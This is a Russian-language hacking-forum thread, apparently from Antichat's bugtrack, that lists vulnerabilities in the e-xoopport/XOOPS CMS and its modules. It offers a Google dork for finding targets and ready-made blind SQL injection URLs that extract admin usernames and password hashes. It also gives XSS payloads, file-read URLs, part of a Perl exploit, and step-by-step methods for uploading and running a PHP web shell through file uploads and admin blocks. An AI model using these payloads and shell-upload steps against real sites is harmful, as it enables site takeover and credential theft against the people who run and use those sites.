![]() |
уязвимости xoops/e-xoopport/e-xoops и их компонентов
:::Уязвимости e-xoopport (v 2.0)::: Вродь нигде не рассматривалось ещё. Чтож выложу найденные мною уязвимости. :::интересные моменты::: 1)При установке движок рекомендует включить register_globals, это неоднократно сыграет нам на руку ;) 2)Движок полностью компонентный. Компоненты news и system и некоторые другие установлены всегда поэтому найти в них уязвимости будет нашей главной задачей, в этих компонентах гораздо меньше грубых ошибок чем в остальных компонентах, но они присутствуют. ниже я все опишу. 3) google dork: powered by e-xoopport :::Обзор простых компонентов::: :::module sections <== 1.55::: Вырезка... Бажного кода. index.phpPHP код:
PHP код:
и Мы сможем определить значение $secid, которая участвует в sql запросе. Вызов происходит в этом же скрипте результат всего этого наблюдаем ниже. more 1 row blind sql inj Код:
http://localhost/modules/sections/index.php?op=listarticles&secid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*:::module banners::: Тут проще некуда уязвим скрипт click.php при врубленом регистер глобалс(а он должен быть врублен) мы переопределяем значение $bid. И и собственно вызываем запрос к бд, который выполняется в этом же скрипте. PHP код:
Код:
http://localhost/modules/banners/click.php?bid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*:::module mydownloads <== 1.0.2::: Ужасный код заныкался в файле singlefile.php точнее не совсем в нем. А в нем инклуд) а инклудит он во второй строчке include_once("./class/download.class.php"); вырезка функции. PHP код:
PHP код:
Код:
http://localhost/modules/mydownloads/singlefile.php?lid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))<1,(select 1 union select 2),2)/*:::module chat <== 2.05::: как вы догадались это чат. А болезнь этого чата-XSS Данные практически не фильртуются(кроме кавычки, но это не такая и большая проблема) Заходим в любую комнату вводим в сообщение Код:
<img src=javascript:alert(2)>:::module VideoXP::: Баг в старых версиях есть Не новый модуль... Баг в скрипте video.php Обычная fopen читалка Код:
http://localhost/modules/videoxp/video.php?v=[file]Пока проверил только эти компоненты(из простых) кто хочет может потренироваться. Не такие и труднонаходимые там баги. :::Обзор основных и популярных компонентов.::: :::XSS в профайле::: Код:
http://localhost/edituser.phpУдобнее всего вставлять свой скрипт в поле "Дополнительная информация" вставим Код:
<img src=javascript:alert(1)>:::component messenger::: Компонент позволяет обмениваться между зарегестрированными пользователями личными сообщениями. И опять же XSS данные не фильтруются никак. то есть если мы зашлем сообщение с содержанием <img src=javascript:alert(1)> , то у прочитавшего вылетит алерт. Осталось привести скрипт в боевое состояние и ожидать его открытия. :::module newbb_plus <== 0.70::: А это борда под двиган. И она уязвима. Уязвимость в скрипте viewtopic.php Проверка $post_id происходит не правильно. Мы спокойно можем определить эту переменную. Кусок кода постараюсь в кратце PHP код:
PHP код:
Код:
#!/usr/bin/perl1) Иногда для работы требуется авторизация. Эта функция в эксплойте реализована. Регаем аккаунт. И подставляем в эксплойт так -u [user] -p [password] авторизация требуется не всегда, так что если не нужно можно не указывать имя и пароль от аккаунта эксплойт от этого работу завершать не будет. Если логин прошел успешно нам выдадет 2) Требуется указать... Валидные занчения forum topic_id и post_id, чтоб была возможность выделения логических да и нет. так -F [существующее значение параметра forum] -T [существующее значение параметра topic_id] -I [Существующее значение параметра post_id] [+]login complete если нет, то [-]login failed С чем могут возникнуть проблемы: [-]forum unvulnerabile это значит: 1) либо форум неуязвим. 2) Логические "да" и "Нет" для посимвольного брута выделить не получилось. Во втором случае просто код страницы никогда не бывает постоянным там пишется ещё время генерации а оно постоянно меняется и в разных версиях форум на наши действия реагирует по разному поэтому также добиться постоянных логических да и нет не получится. За основу эксплойта взят алгоритм more 1 row правда ошибка не очень характерна для него, но алгоритм этот. Но бывают сбои если что не так, вам придется самим править переменную $err которая за весь процесс этот и отвечает. Но проблема эта возникает не часто. [-]prefix incorrect Значит префикс отличен от того, что использует эксплойт используйте -P [ваш префикс] чтобы использовать префикс отличный от стандартного. [-]error Это вылезет, если вы перемудрили с запросом. стандартный вид запроса concat(uname,0x3a,pass) ответ не должен превышать 60 символов. Ну вот собственно пока все. :::мелочные дыры::: Тут я рассмотрю уязвимости в админках(они нам тоже пригодятся ниже узнаете для чего) и другие уязвимости, которые довольно пассивным образом помогают нам повысить свои привилегии. Баги все очень простые поэтому без лишних вставок все продемкаю. 1) Код:
http://localhost/modules/messenger/index.php?sort=0'2) Код:
http://localhost/denwer//news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*3) компонент System слепая sql inj Код:
http://localhost/denwer/xoo/modules/system/admin.php?fct=modulesadmin&op=edit&mid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*:::дополнения::: :::генерация сессии::: Генерируется не хитроумно. Но проблемы нам такая генерация создать может. в генерации участвует наш id, наше имя, хеш пароля а также юзер агент и remote adr . первые 3 величины и так определены user agent можно подделать а вот remote adr-это уже серьезно. То есть если мы стянем куки, мы сможем скосить под админа только если мы подделаем user agent и remote adr... агента как я писал подделаем а второе - это по сути привязка к ip. Тут летят все стандартные методы проведения XSS, но это не сильная проблема, так как раз авторизовавшись(под админом), мы можем бродить по админским разделам не зная пароля попахивает XSRF, это уже серьезнее. А если такое счастье есть, то стандартные методы проведения XSS нам даже не нужны можно без проблем добавить нового пользователя с правами админа. Чуть позже я планирую показать как это реализуется в данном движке. :::Как выполнить php код?::: Я нашел несколько способов. Нужны права админа. 1) Идем в админку Идем в закладку файл(если таковой нет, идем в компоненты и устанавливаем компонент mydownloads)=>добавить/редактировать файл=>пишем в поля всякий бред и в качестве скриншота прикрепляем свой шелл шелл будет доступен по адресу Код:
http://site/modules/mydownloads/cache/images/shots/имя шелла.phpидем в админку если компонент newbb_plus не установлен, устанавливаем его. Идем в закладку форум=>менеджер форумов=>добавляем forum и subforum=>заполняем поля и в конце выбираем "да" напротив "Разрешить прикреплять файлы" добавляем расширение php. => создаем => идем на форум создаем топик и прикрепляем файл, он будет доступен только для скачивания, чтоб выполнить нужно узнать путь, а путь: "http://site/modules/newbb_plus/cache/attachments", Но имя файла генерируется в зависимости от времени и угадать имя врядли выйдет имя аттача имеет вид такого рода:1_1231064445.php . Весь этот процесс происходит не баз помощи sql . Имена файлов хранятся в базе данных и если у нас есть возможность выполнять Sql запросы мы без труда узнаем имя нашего аттача. Тут то нам и нужна Sql инъекция. Будем использовать инъект в модуле news в админке так как он всегда установлен пусть ссылка на скачку нашего аттача выглядит так Код:
http://localhost/denwer/xoo/modules/newbb_plus/dl_attachment.php?attachid=7Код:
http://localhost/denwer/xoo/modules/news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,attachment,11,12,13,14,15,16,17,18+from+ex_bbplus_posts+where+post_id=7/*Код:
http://site/modules/newbb_plus/cache/attachments/имя_шелла.phpНо есть много ограничений системное администрирование=>Блоки=>Д обавляем блок=>Редактируем его=>Ниже выбираем php код и пишем в поле выше свой php код=>Жмякаем предварительный просмотр и наблюдаем результат выполнения. На этом все также я снял видео в котором показываю некоторые уязвимости этого движка а также залитие шелла. видео к данному обзору тут: http://forum.antichat.ru/showthread.php?p=1036854#post1036854 На момент написания, уязвимостей под этот движок на паблик багтрэках я не видел. (c) The matrix Специально для багтрэка античат.ру. |
Со времен буду пополнять. Этотх список...
|
Только что нашел ещё. админские права нужны... Ну это на тот случай если шелл лить вторым способом.
Требуется установить модуль chat. Код:
http://localhost/denwer/xoo/modules/chat/admin/modify_room.php?id=-2+union+select+1,user(),3,4-- |
:::component xoopspoll <== 1.02::: уязвим deletecomment.php Тож не совсем на баг. Но раскрыть пути иногда можно. На это чудо не проверяется PHP код:
Код:
http://localhost/denwer/xoo/modules/xoopspoll/deletecomment.php?comment_id=' |
>> Дошел до вызова функции и обнаружил, что переменная в limit'е, выполнить sql инъекцию не получится. Но все же раскрыть путь иногда можно. Мелочь но приятно.
Если перед лимитом нету ордер бая, то инъекция возможна. |
В большенстве компонентов присутствует папка cache, она обычно открыта на запись. Так что шелл, если будет выбор куда лить лучше заливать именно в эту папку. Также в корне сайта она присутствует.
|
ух что я нашел)
Присутствует в e-xoopport v 2.0 Уязвимость в скрипте highlight.php PHP код:
При регистр глобалс = Он мы можем: Код:
http://localhost/class/debug/highlight.php?file=[file] |
ещё нашел
module newbb_plus <== 0.70 Код:
[em*ail]123 <IMG """><SCRIPT>alert("hack")</SCRIPT>">[/email]Код:
[quo*te]12345 <IMG """><SCRIPT>alert("hack")</SCRIPT>">[/quote] |
Ещё пара инжектов в модуле sections <== 1.55
(вырезка из index.php) PHP код:
case "viewarticle": и case "printpage": Затрагиваются функции viewarticle и PrintSecPage соответственно. вот функции(вырезка из index.php) PHP код:
PHP код:
для первого случая. Код:
http://localhost/modules/sections/index.php?op=viewarticle&artid=1+and+1=if(ascii(substring((select%20concat(uname,0x3a,pass)%20from%20exe_users%20where%20uid=1%20limit%201),1,1))%3E1,(select%201%20union%20select%202),1)/*Код:
http://localhost/modules/sections/index.php?op=printpage&artid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),1)/* |
module xoopsfaq <== 1.0.2
Кусок кода. PHP код:
система стандартная, дописываем кавычку, чтоб не нарушить запрос, внедряем свой код, а лишнюю кавычку комментируем. Пример: Код:
http://localhost/site/modules/xoopsfaq/admin/index.php?op=listcontents&&cat_id=-1'+union+select+11111,concat(uname,0x3a,pass),3,4,5+from+ex_users/* |
| Время: 12:00 |